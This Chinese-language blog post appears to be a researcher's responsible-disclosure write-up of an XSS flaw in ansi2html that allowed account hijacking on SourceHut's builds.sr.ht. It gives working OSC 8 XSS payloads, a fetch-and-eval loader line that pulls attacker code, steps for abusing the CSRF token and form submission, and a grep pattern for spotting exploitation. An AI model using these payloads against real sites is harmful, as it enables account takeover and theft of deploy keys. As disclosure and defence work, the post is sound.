SourceHut 账号劫持:通过构建日志中 ansi2html 的 XSS 漏洞分析
欢迎围观我的第一篇高危漏洞分析长文!
我喜欢讲故事,所以先交代一下背景。 最近我冒出一个“绝妙”的主意(知道吧,知道吧,我该少打这些歪主意了): 搭建一个 sr.ht 实例,付费让人们在上面托管项目。 我在时间线栏目里毫不避讳地打了广告, 欢迎你来试试,或者去社交媒体上吐槽我。
言归正传,说正事。 第一步是克隆 sr.ht 代码仓库的一个极简子集,然后开始动手改。
没有 NLP#
今年我提交的漏洞报告里,通常会附上这句话。 各位爱怎么用就怎么用。
本研究中未使用 NLP,所有错误皆由我承担。
架构#
SourceHut 由多个微服务组成, 核心是 meta.sr.ht,以及 git.sr.ht 或 hub.sr.ht (官方旗舰实例上直接挂在 sr.ht 域名下)。 还有当然是 builds.sr.ht,即 CI 服务。
还有一个不太为人知的是 mirror.sr.ht(正逐渐迁移到 mirror.srht.network), 里面存放了各微服务的预编译包。
我得说挺喜欢这种架构,因为它让在任何机器上快速起步变得极其简单, 只需匹配旗舰实例的发行版版本即可。
如果你目前钟意的项目还推荐通过 curl|sudo bash
或“把这个文件夹扔给 Claude 就行”(原话!)来安装,
请认真考虑一下:用真正的软件包向最终用户分发软件,也是个同样有效的方案。1
构建 Alpine 包#
如果你用的发行版不同,
甚至 Alpine 版本都不同,
那就得自己折腾了。
这里有个 sr.ht-apkbuilds 仓库,
你可以“fork”它,用自己的签名密钥、
你自己的 Alpine 版本和镜像源。
Arch Linux 有 sr.ht-pkgbuilds,
但基本上已经无人维护了。2
这需要借助 builds.sr.ht 来引导构建包。 我试着查看构建日志页面的源码, 因为滚动条总不按我的意愿走, 有点烦人。
就在那时,我发现了这个:
/* ... */
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
/* ... */
我决定仔细看看它是怎么实现的,顺便尝试修一下。说实话,我很喜欢 SourceHut,但这里明显浪费了不少算力和带宽。我希望它能做大做强,让更多项目效仿,所以这种不必要的浪费反而是在拖后腿。3
ansi2html#
我研究了把 ANSI 转义码转换为 HTML 的逻辑,并提交了一个 issue。当时这个仓库已经一年多没有任何动静了,但我还是决定自己动手修,因为我自己也喜欢收到高质量的 patch——尽管我平时并没把精力放在这个项目上。很快我就提交了修复这个问题的 PR。
考虑到我有打 Capture The Flag 的背景,我又对 ansi2html 做了更深入的审计,想找出更多漏洞(尤其是我马上要自己部署它!)。除了解析颜色转义序列,它还支持自动链接和 OSC 8 超链接。由于代码结构还不够严谨,我参考这份很棒的 XSS 速查表(已永久收藏)构造出了恶意输入:
$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html
[...]
<a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a>
[...]
$ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html
[...]
<a href="javascript:alert`xss`">Nothing to see here</a>
[...]
这一点值得稍作解释。 我不知道为什么,但你可以验证一下,它解析出的 DOM 树与下面完全一样:
<a
href="https://example.com/"
autofocus
tabindex="1"
onfocus="alert`xss`">
Nothing to see here
</a>
因此,如果你设法在构建日志中生成 ␛]8;;https://example.com/"/...␇
—4 这是可以做到的,哪怕没有账号,只需向一个开启了持续集成的公共邮件列表发送补丁,或者控制某个恰好被打印到日志中的远程资源——那么恭喜你,
你刚刚创建了一个位于 https://builds.sr.ht/~someone-else/job/1234567 的构建任务,它会在查看该页面的每个浏览器中执行你的 payload。
你可以自己提交任务,但这需要在旗舰实例上拥有付费账号。
目前该实例不支持匿名支付。
武器化(请勿在家尝试)#
实际的 payload 可以从攻击者的网站下载,
例如 eval(await (await fetch('https://example.com')).text()),
但这里推测一下它可能带来的影响。
构建日志页面已经包含了 CSRF token。
你可以用 document.querySelector('[name=_csrf_token]').value 读取它,
或者直接使用现有的表单(“重新构建”按钮的一部分),
例如 document.querySelector('[name=manifest]').value=`something`;document.forms[0].submit()。
一旦有管理员查看了该页面,你很可能就能给自己提升为管理员权限。
更严重的后果是,你可以访问所有的 deploy keys,
而在 builds.sr.ht 上,确实存在属于 sr.ht 本身的 deploy keys
(其他实例可能没有这种情况)。
如何将这部分做成 payload,留给好奇的读者自己探索。 我再强调一遍:请只在自己的基础设施上测试蠕虫。 永远不要在生产环境测试。即使是你的生产环境。
在此如何实现纵深防御?#
通过限制 Content-Security-Policy。 我在这方面不是专家,但移除 ‘unsafe-inline’ 是一个良好的起步 (单靠这一条建议其实没用,因为构建日志页面本身目前也使用内联脚本来处理滚动)。
通过额外的净化(SourceHut 已经添加了净化,但做得太过头——现在完全没有颜色了!)。
另外,我还对 ansi2html 的代码进行了重构,将其转化为一种有状态的转换自动机。
联系#
我随即向 ~sircmpwn/sr.ht-security@lists.sr.ht 发送邮件,详细说明了整个问题,并附带了一个至少能缓解最严重部分问题的修复方案。
Drew(我能这样称呼你吗?我想我们都算是 Source 的门下弟子了)最终选择修补 builds.sr.ht,使其自动对 ansi2html 的输出进行清理。这也是个不错的选择。
上游项目#
随后我联系了上游项目(可能有点晚?具体时间线见下文)。 Ansi2html 是 Randall Munroe 那部著名且如今已被反复提及的漫画中介绍的项目之一。5 它位于 GitHub 的 pycontribs 组织下,该组织有一句意味深长的描述:
PyContribs 的主要职责是确保各个与 Python 相关的项目得到持续维护。
我根据近五年来贡献者图谱中头两位贡献者的 git 历史记录邮件地址,分别联系了这两人。 当时尚未公开披露该问题,尽管 SourceHut 的公告早已使其广为人知。
我认为的主要维护者(Sorin Sbarnea)至今未回复(他可能正在休假), 而另一位(Sebastian Pipping)则回应了。 他的回复内容有些隐晦,对我而言也比较罕见:‘两周后再联系我’。
于是,我耐心等待了两周,期间也在打理自己另一项起步中的业务(让我试试,好吗?), 随后便发送了邮件。
协助上游项目#
结果发现 Sebastian(我能这样称呼你吗?)是个很棒的人。 由于仓库的 ACL(访问控制列表)相关事务,他意识到需要我的帮助。 我们一起让处于暂停状态的 ansi2html 重新活跃起来,更新了部分过时的脚本, 并协同发布了 ansi2html 的三到四个版本至 PyPI。
我尽量提供帮助,但当时我正在攻读博士阶段,事务较多,因此进度上出现了一些延迟。
提交 CVE 申请#
先说一点尖锐观点:CVSS 评分体系存在谬误; 评分应当针对每个产品单独设定, 而非仅针对单一根本原因的代码路径统一计算。
CVSS 的目的毕竟是给下游用户提供有用的信息,帮他们判断要不要去打补丁。研究人员有动机把分数往高了打,而项目方则有动机往低了压——他们确实想修复问题,但想省掉相关的文书工作,以及来回传递信息、维持保密的那套流程(我完全能理解!)。
问题是,软件并非生而平等,对 libcurl 这类库来说尤其如此。
CVSS 4.0 至少比 CVSS 3.x 好一点,它现在区分了受影响系统(Vulnerable System)和后续系统(Subsequent System)。对于 XSS 漏洞,典型的做法是把 Web 服务标为受影响系统,把浏览器标为后续系统(这多少说得通:漏洞在服务里,但它先影响受害者浏览器,再反过来攻击 Web 服务本身)。
我最初给出的评分向量被 VulnCheck 改动了。不清楚原因,但也许能改回来?也可能不值得折腾。欢迎告诉我你的看法。我还想把这篇博客添加到 CVE DB,不过可能得先查一下怎么操作。
- AV:N - 攻击向量:网络
- AC:L - 攻击复杂度:低(无需猜测,也无需绕过或同步攻击)
- AT:N - 前提条件:无(不需要特定配置)
- PR:N - 所需权限:无(发封邮件就行?如果没有 lists.sr.ht 的话,可能就是低级别了)
- UI:P - 用户交互:被动(受害者需在开启 JS 的情况下访问某个页面——这是唯一的问题,但很容易解决)
受影响系统(builds.sr.ht / 整个 sr.ht)
- VC:H - 机密性影响:高(确实造成直接、严重的机密性损失——密钥会被泄露)
- VI:H - 完整性影响:高(能以受害者身份提交恶意构建任务,并访问部署密钥)
- VA:N - 可用性影响:无(无法搞垮整个服务,除非塞满构建节点也算的话)
后续系统(受害者浏览器)
- SC:L - 机密性:低(只能访问范围严格受限的密钥)
- SI:L - 完整性:低(能伪造范围严格受限的请求)
- SA:N - 可用性影响:无(除直接访问外无额外影响)
补充因素
- AU:Y - 可自动化:是(具备蠕虫特性——受害者可立即向他人发起攻击,从而扩大影响范围)
- R:I - 恢复性:不可恢复(用户无法删除构建任务,只能将其隐藏)
- V:C - 价值密度:集中(单个实例托管了大量高价值项目,且包含重要的部署密钥)
- RE:L - 响应工作量:低(基础缓解措施:在代理层插入 CSP 响应头)
- U:Amber - 紧急程度:中(中等紧急:对基础设施构成直接威胁,但该漏洞已存在多年)
尽管具体的实际影响确实应该由真实用户来裁定(毕竟 SourceHut 一直宣称在没有 JavaScript 的情况下也能正常工作),但我认为其影响等级应为高或严重,而不仅仅是中等。因为如果我是攻击者,只要 Drew 打开某个存在漏洞的构建日志并保持 JavaScript 开启,我就可以冒名提交一个构建任务,从而获取 SourceHut 的部署密钥访问权限。不过我也不确定如何将此转化为经济利益,以及如何逃避追踪。所以,千万别做这种事。没有理由值得冒险。
受影响版本#
ansi2html >=1.7.0, <1.9.4,builds.sr.ht >= 0.40.0, < 0.105.1
失陷指标#
请检查原始构建日志中是否包含 ␛]8;;https://example.com/"/...␇ 或 ␛]8;;javascript:...␇。
在 Bash 中,检查前一种情况可能类似于 grep $'\33]8;[^\7\33]*"'。
完整时间线(很高兴对一切都留有永久记录!)#
我对这个时间线并不自豪,但好在所有问题现已修复,且没有(?)发现有人利用该漏洞的痕迹。我会列出官方的 Arch Linux 软件仓库和 sr.ht 的 Alpine Linux 仓库,因为这两个系统曾在某一时点被推荐使用。
- 2019-03-11:ansi2html 被引入 builds.sr.ht 随后引入 sr.ht-apkbuilds
- 2021-09-03:该缺陷被引入上游 ansi2html 提交
- 2022-02-08:受影响的版本被打包进 Alpine 包并部署到主实例 提交
- 2022-07-10:受影响的版本被打包进 Arch Linux 提交
- 2026-07-17:我可能买了一些域名6
- 2026-07-31:我开始接触 SourceHut
- 2026-08-01:我向 ansi2html 上游提交 Issue 和 修复 TrueColor 缺陷的 PR。我准备了针对 ansi2html 的临时补丁并发送给 ~sircmpwn/sr.ht-security@lists.sr.ht。
- 2026-08-04:builds.sr.ht 代码中 对该缺陷进行了缓解;我收到 Drew DeVault 的邮件确认了该漏洞。Drew 还 公开提到了我(谢谢!很感谢!)
- 2026-08-06:漏洞已上报上游,并立即获得确认
- 2026-08-20:跟进上游进度
- 2026-08-22:Sebastian 回复,我们商量了着手处理的时间
- 2026-08-24:着手完善 ansi2html 的 CI 流程,以便后续解决实际漏洞
- 2026-08-29:发布 1.9.3 版本,但未修复漏洞
- 2026-08-31:我在帖子中暗示我正在开发 一个会给项目所有者付费的软件 Forge
- 2026-09-02:提交包含最终修复的 PR 并发布 1.9.4 版本,正式修复漏洞
- 2026-09-05:Arch Linux 更新 ansi2html 至修复版本 提交
- 2026-09-xx:生活琐事缠身,我接了一些额外的工作来维持生计
- 2026-09-23:这篇博客文章(其实是 -09-24,写完已经过了午夜。唉。)
- 2077-??-??:赚大钱……?
注意,即便仔细审计过 ansi2html,SourceHut 也未必能幸免,除非每次升级时都重新审计一遍。 builds.sr.ht 带着这个漏洞过了(差不多正好)四年半。
致谢#
感谢上帝让我远离黑帽的诱惑。感谢 Danonek123 一直陪我。我爱你们。
总结#
你看,漏洞研究不一定要搞成马戏表演, 或者安全秀,或者跟律师和官僚机构缠斗不休。 但那样一来,你的处境可能也不会更好。
除了 CTF 和一些小型会议的邀请 (以及当年在 Antmicro 实习时获准做一些 VR 漏洞研究——对此我至今心怀感激), 我至今从漏洞研究中赚到的是整整 0.00 欧元(换算成华氏度就是 $0.00)。 如果你想支持我(让我有更多时间做 VR 研究),可以考虑买点我的东西。 比起捐款我更喜欢这种方式(当然捐款也很好!)。 我也提供付费的安全咨询服务。
我还没完!后续还有更多内容,虽然不那么重大。 不想错过的话就订阅我的 RSS 吧。
-
或者至少提供一个可选的超简单
configure脚本, 让人能直接make install/ninja install, 方便其他人打包。 (顺便说一句,我还是搞不懂为什么有人用 AppImage 而不是直接发布静态二进制。) ↩︎ -
如果你想在 Arch 上托管自己的 sr.ht,大概还是可以提交补丁的! ↩︎
-
嘿 Drew/Conrad/Simon/(抱歉如果漏了谁!), 在 sr.ht-apkbuilds 里更新 ansi2html 之后——准确说是之后第一次重启 builds.sr.ht 的时候—— 请测一下对 builds.sr.ht 带宽的影响。 我保证会把结果链接到这里。 ↩︎
-
是的,那是个破折号。我在这里用波兰式排版,因为没有什么编辑来管我。 不过欢迎指正,你可以当我的顺手编辑。 ↩︎
-
哎呀抱歉,链接贴错了。我说的是当然是 https://xkcd.com/2347/。 ↩︎
-
可不是冲动消费。“感受一下投入的感觉。”我这样安慰自己。 ↩︎